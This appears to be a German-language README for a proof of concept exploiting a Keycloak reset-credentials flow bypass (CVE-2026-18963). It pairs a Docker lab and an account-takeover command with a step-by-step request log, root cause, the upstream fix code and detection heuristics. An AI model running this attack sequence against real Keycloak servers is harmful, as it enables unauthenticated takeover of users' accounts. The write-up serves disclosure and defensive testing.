
PoC, Dockerfile-Playground und Root Cause aus der Patch-Diff-Analyse.
Docker-Setup zum Testen von Keycloak 26.x-Versionen, die vom Reset-Credentials-Flow-Bypass betroffen sind. Das enthaltene Labor pinnt Keycloak 26.6.2, das im betroffenen Bereich liegt (>26.0 und <26.7.2).
Voraussetzungen: Docker, Docker Compose, Python 3. Getestet mit dem Docker-Image quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
Die Compose-Datei startet Keycloak 26.6.2 mit einem temporären admin/admin-password-for-lab-Administrator. Erstellen Sie einen Test-Realm und -Benutzer über die Admin-Konsole oder die Admin-REST-API. Der Reset-Flow muss aktiviert sein und die eingebaute reset-credential-email-Ausführung muss erreichbar sein.
ATO-Beispiel:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <bekannter Realm> --username <bekanntes Opfer> \
--new-password '<pw>' \
--allow-loopback-http-cookie --change-password
Die Loopback-Cookie-Option existiert nur für dieses HTTP-Docker-Labor. Erfolgreiche Validierung / Ausnutzung
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: Passwort-Update-Formular ohne E-Mail-Action-Token erreicht
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Unauthentifizierte Account-Übernahme, wenn „Passwort vergessen“ den verwundbaren eingebauten Reset-Credentials-Flow verwendet. Der E-Mail-Besitz-Schritt wird als erfolgreich markiert, ohne sein Action-Token zu verbrauchen, wodurch der Angreifer zu UPDATE_PASSWORD weitergeleitet wird.
Zwei State-Machine-Defekte kombinieren sich:
tryAnotherWay speicherte AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true als globalen Boolean in der Authentifizierungssitzung. Es war nicht an die Ausführung gebunden, die den Selektor anzeigte, wodurch veralteter Selektor-State einen anderen Reset-Flow-Ablauf beeinflussen konnte.ResetCredentialEmail.action() jeden Aufruf:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
Eine manipulierte Reset-Flow-Sequenz kann daher den Selektor-/aktuellen Ausführungszustand manipulieren und die E-Mail-Authenticator-Aktion aufrufen, ohne auf den per E-Mail gesendeten Link zu klicken. Keycloak behandelt den E-Mail-Schritt als abgeschlossen und legt die Passwort-Update-Ausführung für das ausgewählte Opfer offen.
Die Reset-E-Mail kann weiterhin generiert und SEND_RESET_PASSWORD protokolliert werden. Der Besitz des Postfachs oder Tokens ist nicht erforderlich.
Der Selektor-State ist nun an das exakte Ausführungsmodell gebunden:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
Die Notiz wird entfernt, wenn sie nicht mit CURRENT_AUTHENTICATION_EXECUTION übereinstimmt. Wichtiger noch: Die E-Mail-Aktion erfordert nun eine Action-Token-Identität, die dem Flow-Benutzer entspricht:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services-Flow geerbt; die ausnutzbare Selektor-State-Änderung wurde in 26.0.0 eingeführt.reset-credential-email muss erreichbar und gebunden sein. Das Deaktivieren von „Passwort vergessen“ verhindert diesen Pfad.Keycloak fehlt ein eindeutiges „E-Mail-Token übersprungen“-Ereignis. Korrelieren Sie Flow-Timing und Reverse-Proxy-Logs:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD innerhalb von SekundentryAnotherWay, unmittelbar vor der Passwort-ÄnderungGET /login-actions/action-token, das ein legitimer E-Mail-Klick erzeugtDies ist heuristisch: Ein Benutzer mit bereits geöffneter E-Mail kann schnell zurücksetzen, und fehlende Ereignisse beweisen nichts, wenn Protokollierung/Aufbewahrung deaktiviert wurde.
Authentifizierungs-Flow-State-Verwirrung + bedingungsloser Authenticator-Erfolg umgeht eine Besitzprüfung. Allgemeiner Test-Randfall: Wann immer eine Authentifizierungsausführung erneut besucht, mit „anderen Weg versuchen“ gewechselt oder von einer alten URL fortgesetzt werden kann, verifizieren Sie, dass jeder Authenticator seinen eigenen Beweis erneut validiert, anstatt dem gemeinsamen Flow-State zu vertrauen.
Upstream-Patch-Referenz: https://github.com/keycloak/keycloak/pull/51844